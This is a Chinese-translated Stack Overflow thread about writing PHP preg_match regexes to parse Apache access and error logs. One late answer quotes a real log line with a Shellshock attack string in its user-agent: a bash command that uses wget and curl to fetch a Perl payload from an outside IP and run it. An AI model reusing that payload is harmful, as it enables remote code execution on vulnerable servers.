使用 preg_match 在 PHP 中解析 A​​pache 日志

Posted

技术标签:

【中文标题】使用 preg_match 在 PHP 中解析 A​​pache 日志【英文标题】:Parse Apache log in PHP using preg_match 【发布时间】:2011-11-28 00:23:15 【问题描述】:

我需要将数据保存在表格中(用于报告、统计等...),以便用户可以按时间、用户代理等进行搜索。我有一个每天运行的脚本,它读取 Apache 日志,然后将其插入在数据库中。

日志格式:

10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (Khtml, like Gecko) Version/5.0.5 Safari/533.21.1"

我的正则表达式:

preg_match('/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) (\".*?\") (\".*?\")$/',$log, $matches);

现在当我打印时:

print_r($matches);

Array
(
    [0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
    [1] => 10.1.1.150
    [2] => -
    [3] => -
    [4] => 29/September/2011
    [5] => 14:21:49
    [6] => -0400
    [7] => GET
    [8] => /info/
    [9] => HTTP/1.1
    [10] => 200
    [11] => 9955
    [12] => "http://www.domain.com/download/"
    [13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
)

我得到:"http://www.domain.com/download/" 和用户代理相同。如何在正则表达式中摆脱这些"?奖励(有什么快速的方法可以轻松插入日期/时间)?

谢谢

【问题讨论】:

这是问题 #2221636 的副本 我为此编写了一个简单的辅助类。见github.com/Spudley/ApacheLogIterator @SDC:谢谢 Simon,那个迭代器太棒了! 【参考方案1】:

要在 php 中解析 A​​pache access_log 登录,您可以使用这个正则表达式:

$regex = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/';
preg_match($regex ,$log, $matches);

要匹配 Apache error_log 格式,您可以使用此正则表达式:

$regex = '/^\[([^\]]+)\] \[([^\]]+)\] (?:\[client ([^\]]+)\])?\s*(.*)$/i';
preg_match($regex, $log, $matches);
$matches[1] = Date and time,           $matches[2] = severity,
$matches[3] = client addr (if present) $matches[4] = log message

它匹配有或没有客户端的行:

[Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations
[Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/apache2/htdocs/x.js

【讨论】:

请注意,您的正则表达式对于配置错误的用户代理失败,例如 \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.50 Safari/537.36 \" 是的,有人忘记正确设置自己的用户代理。 使用 "(.*?)" 作为最后一个捕获组并删除行尾匹配字符 $ 避免了上面提到的打嗝。【参考方案2】:

如果您不想捕获双引号,请将它们移出捕获组。

 (\".*?\") 

应该变成:

 \"(.*?)\"

作为替代方案,您可以使用trim($str, '"') 对条目进行后处理

【讨论】:

【参考方案3】:

你的正则表达式是错误的。 你应该使用正确的正则表达式

/^(\S+) (\S+) (\S+) - \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/

【讨论】:

您能否详细说明错误的位置和原因? (这将有助于确保以后不再重复同样的错误):) 我第二个。没有解释为什么正则表达式是错误的。 此外,它与标准 Apache 日志行不匹配。忽略这个。【参考方案4】:

正如我已经看到并完成了这么多错误的日志解析,这是一个希望有效的正则表达式,在没有任何单一差异的 50k 行日志上进行了测试,知道:

auth_user 可以有空格 response_size 可以是 - http_start_line 至少可以有一个空格 (HTTP/0.9) 或两个 http_start_line 可能包含双引号 referrer 可以为空、有空格或双引号(它只是一个 HTTP 标头) user_agent 也可以为空,或者包含双引号和空格

referrer 和 user-agent 很难区分,让我们把两者之间的" " 归类就足够了,但是我们可以在referrer 和 user-agent 中找到臭名昭著的" ",所以基本上,我们'在这里搞砸了。

$ncsa_re = '/^(?P<IP>\S+)
\ (?P<ident>\S)
\ (?P<auth_user>.*?) # Spaces are allowed here, can be empty.
\ (?P<date>\[[^]]+\])
\ "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9
\ (?P<status_code>[0-9]+) # Status code is _always_ an integer
\ (?P<response_size>(?:[0-9]+|-)) # Response size can be -
\ "(?P<referrer>.*)" # Referrer can contains everything: its just a header
\ "(?P<user_agent>.*)"$/x';

希望对您有所帮助。

【讨论】:

你的正则表达式中的 ?P 是什么?我还没有找到任何使用正则表达式来识别它的东西,它只是被标记为错误。 @mutatron 这是一个命名捕获。搜索“命名组”或“命名捕获组”。【参考方案5】:

我在 2015 年 1 月在这里尝试使用几个正则表达式,发现一个坏机器人在我的 apache2 日志中没有得到匹配。

bad bot apache2 line 是 BASH hack 尝试,我还没有尝试找出正则表达式更正:

199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "()  :;; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""

【讨论】:

以上是关于使用 preg_match 在 PHP 中解析 A​​pache 日志的主要内容,如果未能解决你的问题,请参考以下文章

在php中使用preg_match检测多个单词

preg_match(); - 未知修饰符“+”[重复]

PHP 5.6.10-preg_match():编译失败:字符类中的范围在偏移100处无效[重复]

PHP中preg_match正则匹配的/u /i /s是什么意思

如何在PHP中preg_match一个可以为NULL的变量?

php异或计算绕过preg_match()